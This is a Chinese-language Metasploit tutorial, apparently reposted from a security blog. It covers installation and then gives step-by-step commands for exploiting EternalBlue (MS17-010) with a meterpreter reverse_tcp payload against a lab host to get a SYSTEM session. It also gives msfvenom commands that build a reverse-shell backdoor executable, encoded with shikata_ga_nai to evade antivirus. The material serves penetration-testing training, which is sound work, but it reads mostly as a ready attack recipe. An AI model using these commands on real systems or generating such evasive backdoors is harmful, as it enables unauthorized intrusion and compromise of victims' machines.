MSF的使用教程-有解無憂

公眾號：白帽子左一

本文僅用于技術討論，禁止用于違法途徑

MSF簡介

Metasploit（MSF）是一個免費的、可下載的框架，通過它可以很容易地獲取、開發并對計算機軟體漏洞實施攻擊，它本身附帶數百個已知軟體漏洞，是一款專業級漏洞攻擊工具，

當H.D. Moore在2003年發布Metasploit時，計算機安全狀況也被永久性地改變了，仿佛一夜之間，任何人都可以成為黑客，因為只要掌握MSF的使用方法，每個人都可以使用MSF來攻擊那些未打過補丁或者剛剛打過補丁的漏洞，也因此軟體廠商再也不能推遲發布針對已公布漏洞的補丁了，因為Metasploit團隊一直都在努力開發各種攻擊工具，并將它們貢獻給所有Metasploit用戶，

MSF安裝介紹

MSF官網：https://www.metasploit.com/

MSF有兩個版本，Metaploit是開源免費的，Metaploit pro的商業收費的，這里我們用免費的社區版就可以了

MSF下載地址：https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

MSF安裝

（1）一鍵式安裝

在Linux / macOS上安裝Metasploit，這里有官方提供的腳本，可以一鍵式安裝

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall

（2）手動安裝

注意：如果上面方法不可行，也可以進行手動安裝

Debian / Ubuntu軟體包位于https://apt.metasploit.com，而CentOS / Redhat / Fedora軟體包位于https://rpm.metasploit.com

ubuntu安裝
從https://apt.metasploit.com/下載MSF 的deb安裝包，
在終端運行：dpkg -i metasploit-framework_6.0.7+20200916102431_1rapid7-1_amd64.deb
就已經安裝好了，資料庫的安裝看上面的步驟

Centos安裝
從https://rpm.metasploit.com下載 rpm安裝包
在終端運行：rpm-i metasploit-framework-6.0.7+20200916102441~1rapid7-1.el6.x86_64.rpm

安裝完成

安裝postgresql資料庫

msf使用的是postgresql資料庫,如果沒有的話需要先安裝

安裝資料庫的時候會自動創建系統用戶postgres,資料庫用戶postgres,資料庫postgres

1、apt-get install postgresql //安裝postgresql資料庫

2、su - postgres //切換到postgres用戶

3、psql //登陸postgresql資料庫，首次登陸沒有密碼

4、\password postgres //修改資料庫用戶postgres的密碼

msf更新命令：

sudo msfupdate

msf使用資料庫

1、msfconsole //啟動msf

2、db_connect postgres:hehehe@127.0.0.1/test //用戶名，密碼，地址，自己隨意編造的名字，

3、db_status //查看資料庫連接狀態

MSF的功能模塊介紹

MSF所用功能主要可分為這幾個模塊，每個模塊都有各自的功能領域，形成了滲透測驗的流程

1、Auxiliary（輔助模塊）
為滲透測驗資訊搜集提供了大量的輔助模塊支持
2、Exploits（攻擊模塊）
利用發現的安全漏洞或配置弱點對遠程目標系統進行攻擊，從而獲得對遠程目標系統訪問權的代碼組件，
3、Payload（攻擊載荷模塊）
攻擊成功后促使靶機運行的一段植入代碼
4、Post （后滲透攻擊模塊）
收集更多資訊或進一步訪問被利用的目標系統
5、Encoders（編碼模塊）
將攻擊載荷進行編碼，來繞過防護軟體攔截

MSF的基本使用方法

例如攻擊永恒之藍：

開啟資料庫：service postgresql start

初始化msf資料庫:msfdb init

開啟MSF:msfconsole

這里我們拿永恒之藍這個漏洞進行簡單的使用

首先要保證是能夠訪問到目標機器的，那么我們先ping一下目標機器，看網路是否連通

此時是連通的狀態

永恒之藍的漏洞編號：ms17-010

根據漏洞名稱搜索 : search ms17_010

1、運用輔助模塊掃描目標

設定模塊：use auxiliary/scanner/smb/smb_ms17_010

查看設定：options

設定目標地址：set rhosts 192.168.174.129

目標埠默認是445，如果用nmap埠掃描windows檔案共享服務不是開放在445埠上面，那這里需要進行修改，set rport 目標埠

設定好了之后，run或者exploit 進行攻擊

綠色的加號為可攻擊

2、設定攻擊模塊對目標進行攻擊

使用攻擊模塊：use exploit/windows/smb/ms17_010_eternalblue

查看所需設定：options

設定目標地址：set RHOSTS 192.168.174.129

設定目標埠：set RPORT 445

設定payload：set payload windows/x64/meterpreter/reverse_tcp

設定本地地址：set LHOST 192.168.174.192

攻擊：run或者exploit

攻擊成功，成功拿到會話

注意：存在一定機率將目標機器打成藍屏或者重啟

查看目前權限

系統權限，想干什么都可以了~

MSF后門生成模塊

Msfvenom常用命令引數

-l, --list <type>
# 列出所有可用的專案，其中值可以被設定為 payloads, encoders, nops, platforms, archs, encrypt, formats等等
-p, --payload <payload>
# 指定特定的 Payload，如果被設定為 - ，那么從標準輸入流中讀取
--list-options
# 列出--payload <value> 的標準，高級和規避選項
-f, --format <format>
# 指定 Payload 的輸出格式(使用 --list formats 列出)
-e, --encoder <encoder>
# 指定使用的 Encoder (使用 --list encoders 列出)
--sec-name <value>
# 生成大型Windows二進制檔案時使用的新名稱，默認值：隨機4個字符的字串
--smallest
# 使用所有可用的編碼器生成最小的payload
--encrypt <value>
# 應用于shellcode的加密或編碼型別 (使用--list encrypt 列出)
--encrypt-key <value>
# 用于加密的密鑰
--encrypt-iv <value>
# 加密的初始化向量
-a, --arch <arch>
# 指定目標系統架構(使用 --list archs 列出)
--platform <platform>
# 指定目標系統平臺 (使用 --list platforms 列出)
-o, --out <path>
# 保存payload檔案
-b, --bad-chars <list>
# 設定需要在 Payload 中避免出現的字符，如： '\x00\xff'
-n, --nopsled <length>
# 指定 nop 在 payload 中的數量
-s, --space <length>
# 設定未經編碼的 Payload 的最大長度
--encoder-space <length>
# 編碼后的 Payload 的最大長度
-i, --iterations <count>
# 設定 Payload 的編碼次數
-c, --add-code <path>
# 指定包含一個額外的win32 shellcode檔案
-x, --template <path>
# 指定一個特定的可執行檔案作為模板
-k, --keep
# 保護模板程式的功能，注入的payload作為一個新的行程運行
-v, --var-name <value>
# 指定一個變數名（當添加 -f 引數的時候，例如 -f python，那么輸出為 python 代碼， payload 會被按行格式化為 python 代碼，追加到一個 python 變數中，這個引數即為指定 python 變數的變數名）
-t, --timeout <second>
# 設定從STDIN讀取payload的等待時間（默認為30,0為禁用）
-h, --help
# 幫助

msfvenom生成shellcode

普通生成

msfvenom -p 有效載荷 -f 輸出格式 -o 輸出檔案
msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe

編碼生成

msfvenom -a 系統架構 --platform 系統平臺 -p 有效載荷 lhost=攻擊機IP lport=攻擊機埠 -e 編碼方式 -i編碼次數 -f 輸出格式 -o 輸出檔案
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888 -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe

msfvenom —list archs #查看支持的系統架構

aarch64, armbe, armle, cbea, cbea64, cmd, dalvik, firefox, java, mips, mips64, mips64le, mipsbe, mipsle, nodejs, php, ppc, ppc64, ppc64le, ppce500v2, python, r, ruby, sparc, sparc64, tty, x64, x86, x86_64, zarch

msfvenom —list platforms #查看支持系統平臺

aix, android, apple_ios, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, juniper, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, r, ruby, solaris, unifi, unix, unknown, windows